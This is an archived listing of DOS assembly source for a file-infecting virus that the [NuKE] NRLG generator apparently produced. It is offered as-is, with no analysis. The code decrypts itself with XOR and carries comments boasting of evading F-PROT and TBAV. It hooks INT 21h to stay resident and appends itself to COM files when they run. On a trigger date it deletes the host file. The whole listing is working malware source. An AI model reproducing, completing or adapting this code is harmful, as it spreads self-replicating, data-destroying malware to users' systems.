home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / NRLGUPD5.ZIP / LOSTFILE.ZIP / LOSTFILE.ASM next >
Encoding:
Assembly Source File  |  1996-07-25  |  20.3 KB  |  431 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  inc di
  36. inc di
  37. ;----------------------------------------------------------                                                
  38. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  39. mov ah,4ch
  40. int 21h
  41. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  42. ;-----------------------------------------------------------                               
  43. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  44. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  45. ;----------------------------------------------------------                                   
  46. loop deci                    ;repeat please!               
  47.                              ;           
  48. ;*****************************************************************
  49. ;                   #2 DECRYPT ROUTINE                                                    
  50. ;*****************************************************************
  51.                               ;    
  52. crypt:                        ;fuck label!                  
  53.                               ;                
  54. mov cx,offset fin             ;cx = large of virus                 
  55. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  56. ;---------------------------------------------------------------                                              
  57. deci2:                        ;              
  58. xor byte ptr cs:[di],1        ;decrytion rutine          
  59. inc di                        ;very simple...            
  60. loop deci2                    ;           
  61. ;---------------------------------------------------------------
  62. crypt2:                       ;fuck label!          
  63.                               ;                  
  64. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  65. INT 21H                       ;for chek "I'm is residet?"   
  66. CMP Bh,0CAH                   ;is equal to CACA?
  67. JE PUM2                       ;yes! jump to runnig program
  68. call action
  69. ;*****************************************************************
  70. ; NRLG FUNCTIONS  (SELECTABLE)
  71. ;*****************************************************************
  72.  
  73.  ;****************************************************************
  74. ;               PROCESS TO REMAIN RESIDENT                                                                  
  75. ;****************************************************************   
  76.  
  77. mov   ax,3521h                  
  78. int   21h                        ;store the int 21 vectors 
  79. mov   word ptr [bp+int21],bx     ;in cs:int21
  80. mov   word ptr [bp+int21+2],es   ;
  81. ;---------------------------------------------------------------
  82. push cs                          ; 
  83. pop ax                           ;ax = my actual segment                             
  84. dec ax                           ;dec my segment for look my MCB
  85. mov es,ax                        ;
  86. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  87. ;---------------------------------------------------------------
  88. push cs                          ;   
  89. pop es                           ;   
  90. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  91. sub bx,17 + offset fin           ;and 100H for the PSP total
  92. mov ah,4ah                       ;used memory
  93. int 21h                          ;put the new value to MCB
  94. ;---------------------------------------------------------------
  95. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  96. mov ah,48h                      ;                              
  97. int 21h                         ;request the memory to fuck DOS!                                                 
  98. ;---------------------------------------------------------------
  99. dec ax                          ;ax=new segment 
  100. mov es,ax                       ;ax-1= new segment MCB 
  101. mov byte ptr es:[1],8           ;put '8' in the segment
  102. ;--------------------------------------------------------------                                
  103. inc ax                          ; 
  104. mov es,ax                       ;es = new segment
  105. lea si,[bp + offset start]      ;si = start of virus 
  106. mov di,100h                     ;di = 100H (psp position) 
  107. mov cx,offset fin - start       ;cx = lag of virus
  108. push cs                         ;
  109. pop ds                          ;ds = cs
  110. cld                             ;mov the code
  111. rep movsb                       ;ds:si >> es:di
  112. ;--------------------------------------------------------------
  113. mov dx,offset virus             ;dx = new int21 handler
  114. mov ax,2521h                    ;
  115. push es                         ; 
  116. pop ds                          ; 
  117. int 21h                         ;set the vectors 
  118. ;-------------------------------------------------------------
  119. pum2:                               ;  
  120.                                     ; 
  121. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  122. mov byte ptr cs:[100h],ah           ;first bytes  
  123. mov ax,word ptr [cs:bp + real + 1]  ;
  124. mov word ptr cs:[101h],ax           ;
  125. ;-------------------------------------------------------------
  126. mov ax,100h                         ;
  127. jmp ax                              ;jmp to execute
  128.                                     ;
  129. ;*****************************************************************
  130. ;*             HANDLER FOR THE INT 21H                                       
  131. ;*****************************************************************
  132.                           ;          
  133. VIRUS:                    ;  
  134.                           ;     
  135. cmp ah,4bh                ;is a 4b function? 
  136. je REPRODUCCION           ;yes! jump to reproduce !
  137. cmp ah,11h
  138. je dir
  139. cmp ah,12h
  140. je dir
  141. dirsal:
  142. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  143. jne a3                    ;no! jump to a3
  144. mov bh,0cah               ;yes! put ca in bh
  145. a3:                       ;
  146. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  147. ret                       ;    
  148. make db '[NuKE] N.R.L.G. AZRAEL'
  149. dir:
  150. jmp dir_s
  151. ;-------------------------------------------------------------
  152. REPRODUCCION:              ;       
  153.                            ;
  154. pushf                      ;put the register
  155. pusha                      ;in the stack
  156. push si                    ;
  157. push di                    ;
  158. push bp                    ;
  159. push es                    ;
  160. push ds                    ;
  161. ;-------------------------------------------------------------
  162. push cs                    ;  
  163. pop ds                     ;  
  164. mov ax,3524H               ;get the dos error control                      
  165. int 21h                    ;interupt                        
  166. mov word ptr error,es      ;and put in cs:error                      
  167. mov word ptr error+2,bx    ;            
  168. mov ax,2524H               ;change the dos error control                    
  169. mov dx,offset all          ;for my "trap mask"                      
  170. int 21h                    ;         
  171. ;-------------------------------------------------------------
  172. pop ds                     ;
  173. pop es                     ;restore the registers
  174. pop bp                     ;
  175. pop di                     ;
  176. pop si                     ;
  177. popa                       ;
  178. popf                       ;
  179. ;-------------------------------------------------------------
  180. pushf                      ;put the registers
  181. pusha                      ;     
  182. push si                    ;HEY! AZRAEL IS CRAZY?
  183. push di                    ;PUSH, POP, PUSH, POP
  184. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  185. push es                    ;PURIFY THIS SHIT!
  186. push ds                    ;
  187. ;-------------------------------------------------------------
  188. mov ax,4300h                 ;       
  189. int 21h                      ;get the file     
  190. mov word ptr cs:[attrib],cx  ;atributes   
  191. ;-------------------------------------------------------------
  192. mov ax,4301h                 ;le saco los atributos al        
  193. xor cx,cx                    ;file 
  194. int 21h                      ;
  195. ;-------------------------------------------------------------  
  196. mov ax,3d02h                 ;open the file 
  197. int 21h                      ;for read/write
  198. mov bx,ax                    ;bx=handle
  199. ;-------------------------------------------------------------
  200. mov ax,5700h                ;     
  201. int 21h                     ;get the file date  
  202. mov word ptr cs:[hora],cx   ;put the hour    
  203. mov word ptr cs:[dia],dx    ;put the day    
  204. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  205. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  206. jne seguir                  ;yes! the file is infected!     
  207. jmp cerrar                  ;
  208. ;------------------------------------------------------------
  209. seguir:                     ;     
  210. mov ax,4202h                ;move the pointer to end
  211. call movedor                ;of the file
  212. ;------------------------------------------------------------
  213. push cs                     ;   
  214. pop ds                      ; 
  215. sub ax,3                    ;calculate the 
  216. mov word ptr [cs:largo],ax  ;jmp long
  217. ;-------------------------------------------------------------
  218. mov ax,04200h               ;move the pointer to  
  219. call movedor                ;start of file
  220. ;----------------------------------------------------------                                          
  221. push cs                     ;   
  222. pop ds                      ;read the 3 first bytes  
  223. mov ah,3fh                  ;                           
  224. mov cx,3                    ;
  225. lea dx,[cs:real]            ;put the bytes in cs:[real]
  226. int 21h                     ;
  227. ;----------------------------------------------------------                                          
  228. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  229. jne er1                         ;yes! is a EXE... fuckkk!
  230. ;----------------------------------------------------------
  231. jmp cerrar
  232. er1:
  233. ;----------------------------------------------------------                                          
  234. mov ax,4200h      ;move the pointer                               
  235. call movedor      ;to start fo file
  236. ;----------------------------------------------------------                                          
  237. push cs           ;       
  238. pop ds            ; 
  239. mov ah,40h        ;  
  240. mov cx,1          ;write the JMP
  241. lea dx,[cs:jump]  ;instruccion in the
  242. int 21h           ;fist byte of the file
  243. ;----------------------------------------------------------                                          
  244. mov ah,40h         ;write the value of jmp
  245. mov cx,2           ;in the file 
  246. lea dx,[cs:largo]  ; 
  247. int 21h            ;
  248. ;----------------------------------------------------------                                          
  249. mov ax,04202h      ;move the pointer to 
  250. call movedor       ;end of file
  251. ;----------------------------------------------------------                                          
  252. push cs                     ;        
  253. pop ds                      ;move the code  
  254. push cs                     ;of my virus      
  255. pop es                      ;to cs:end+50     
  256. cld                         ;for encrypt          
  257. mov si,100h                 ;    
  258. mov di,offset fin + 50      ;      
  259. mov cx,offset fin - 100h    ;        
  260. rep movsb                   ;      
  261. ;----------------------------------------------------------                                          
  262. mov cx,offset fin           
  263. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  264. enc:                              ;           
  265. xor byte ptr cs:[di],1            ;encrypt the virus              
  266. inc di                            ;code                   
  267. loop enc                          ;              
  268. ;---------------------------------------------------------
  269. mov cx,offset fin           
  270. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  271. mov dx,1
  272. enc2:                              ;           
  273.  
  274.  inc di
  275. inc di                             ;the virus code                  
  276. loop enc2                          ;              
  277. ;--------------------------------------------
  278. mov ah,40h                       ;  
  279. mov cx,offset fin - offset start ;copy the virus              
  280. mov dx,offset fin + 50           ;to end of file
  281. int 21h                          ;
  282. ;----------------------------------------------------------                                          
  283. cerrar:                          ;
  284.                                  ;restore the       
  285. mov ax,5701h                     ;date and time    
  286. mov cx,word ptr cs:[hora]        ;file   
  287. mov dx,word ptr cs:[dia]         ;     
  288. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  289. int 21h                          ; 
  290. ;----------------------------------------------------------                                          
  291. mov ah,3eh                       ; 
  292. int 21h                          ;close the file
  293. ;----------------------------------------------------------                                          
  294. pop ds                           ;
  295. pop es                           ;restore the 
  296. pop bp                           ;registers
  297. pop di                           ; 
  298. pop si                           ;
  299. popa                             ;
  300. popf                             ;
  301. ;----------------------------------------------------------                                          
  302. pusha                           ;   
  303.                                 ;                                                             
  304. mov ax,4301h                    ;restores the atributes 
  305. mov cx,word ptr cs:[attrib]     ;of the file  
  306. int 21h                         ;   
  307.                                 ;
  308. popa                            ; 
  309. ;----------------------------------------------------------                                          
  310. pushf                           ;                           
  311. pusha                           ; 8-(  = f-prot                       
  312. push si                         ;                       
  313. push di                         ; 8-(  = tbav   
  314. push bp                         ;                       
  315. push es                         ; 8-)  = I'm                        
  316. push ds                         ;                              
  317. ;----------------------------------------------------------                                          
  318. mov ax,2524H                    ;                         
  319. lea bx,error                    ;restore the                         
  320. mov ds,bx                       ;errors handler      
  321. lea bx,error+2                  ;                         
  322. int 21h                         ;                       
  323. ;----------------------------------------------------------                                          
  324. pop ds                          ;
  325. pop es                          ;
  326. pop bp                          ;restore the 
  327. pop di                          ;resgisters
  328. pop si                          ;
  329. popa                            ;
  330. popf                            ;
  331. ;----------------------------------------------------------                                          
  332. JMP A3                          ;jmp to orig. INT 21
  333.                                 ;
  334. ;**********************************************************
  335. ;           SUBRUTINES AREA
  336. ;**********************************************************
  337.                                 ;
  338. movedor:                        ;   
  339.                                 ; 
  340. xor cx,cx                       ;use to move file pointer         
  341. xor dx,dx                       ;       
  342. int 21h                         ;        
  343. ret                             ;        
  344. ;----------------------------------------------------------                                          
  345. all:                            ;  
  346.                                 ; 
  347. XOR AL,AL                       ;use to set 
  348. iret                            ;error flag
  349.  
  350. ;***********************************************************
  351. ;         DATA AREA
  352. ;***********************************************************
  353. largo  dw  ?
  354. jump   db  0e9h
  355. real   db  0cdh,20h,0
  356. hora   dw  ?
  357. dia    dw  ?
  358. attrib dw  ?
  359. int21  dd  ?
  360. error  dd  ?
  361.  
  362.  ;---------------------------------
  363. action:                            ; 
  364. MOV AH,2AH                         ;        
  365. INT 21H                            ;get date           
  366. CMP Dl,byte ptr cs:[action_dia+bp] ;is equal to my day?                 
  367. JE  cont                           ;nop! fuck ret          
  368. cmp byte ptr cs:[action_dia+bp],32 ;
  369. jne no_day                         ;
  370. cont:                              ; 
  371. cmp dh,byte ptr cs:[action_mes+bp] ;is equal to my month?            
  372. je set                             ;
  373. cmp byte ptr cs:[action_mes+bp],13 ;
  374. jne NO_DAY                         ;nop! fuck ret           
  375. set:                               ; 
  376.                                   ; 
  377. mov ds,word ptr cs:[2ch]          ;      
  378. xor bx,bx                         ;   
  379. nuevo:                            ;     
  380. inc bx                            ;get file name! 
  381. mov dl,byte ptr ds:[bx]           ;
  382. cmp dl,00                         ;   
  383. jne nuevo                         ;   
  384. nuevo1:                           ;       
  385. inc bx                            ; 
  386. mov dl,byte ptr ds:[bx]           ;get file name!    
  387. cmp dl,00                         ;     
  388. jne nuevo1                        ;     
  389. nuevo2:                           ; 
  390. inc bx                            ;     
  391. mov dl,byte ptr ds:[bx]           ;get file name!           
  392. cmp dl,01                         ;  
  393. jne nuevo2                        ; 
  394. nuevo3:                           ;           
  395. inc bx                            ; 
  396. mov dl,byte ptr ds:[bx]           ;get file name!     
  397. cmp dl,00                         ;        
  398. jne nuevo3                        ;                  
  399. cero3:                            ; 
  400. inc bx                            ; 
  401. push bx                           ;                      
  402. pop dx                            ;
  403. push dx                           ;
  404. push ds                           ; 
  405. push cs                           ;
  406. pop ds                            ;
  407. push cs                           ;
  408. pop es                            ;
  409. pop ds                            ;
  410. pop dx                            ;
  411. MOV AH,41H                        ;delete name 
  412. iNT 21H                           ;ds:dx=file mame 
  413. int 20h                           ;
  414. NO_DAY:                           ;             
  415. ret                               ;
  416. ;---------------------------------
  417.  
  418.  ;-------------;
  419. Dir_S:        ;                                                      
  420. jmp dirsal    ;  
  421. no_Good:iret  ;                                                           
  422. ;-------------;
  423.  
  424.  action_dia Db 01H ;day for the action
  425. action_mes Db 01H ;month for the action
  426. FECHA DW 012H ;Secon for mark
  427. FECHAd Db 012H ;Secon for mark dir st
  428. fin:
  429. code ends
  430. end start
  431.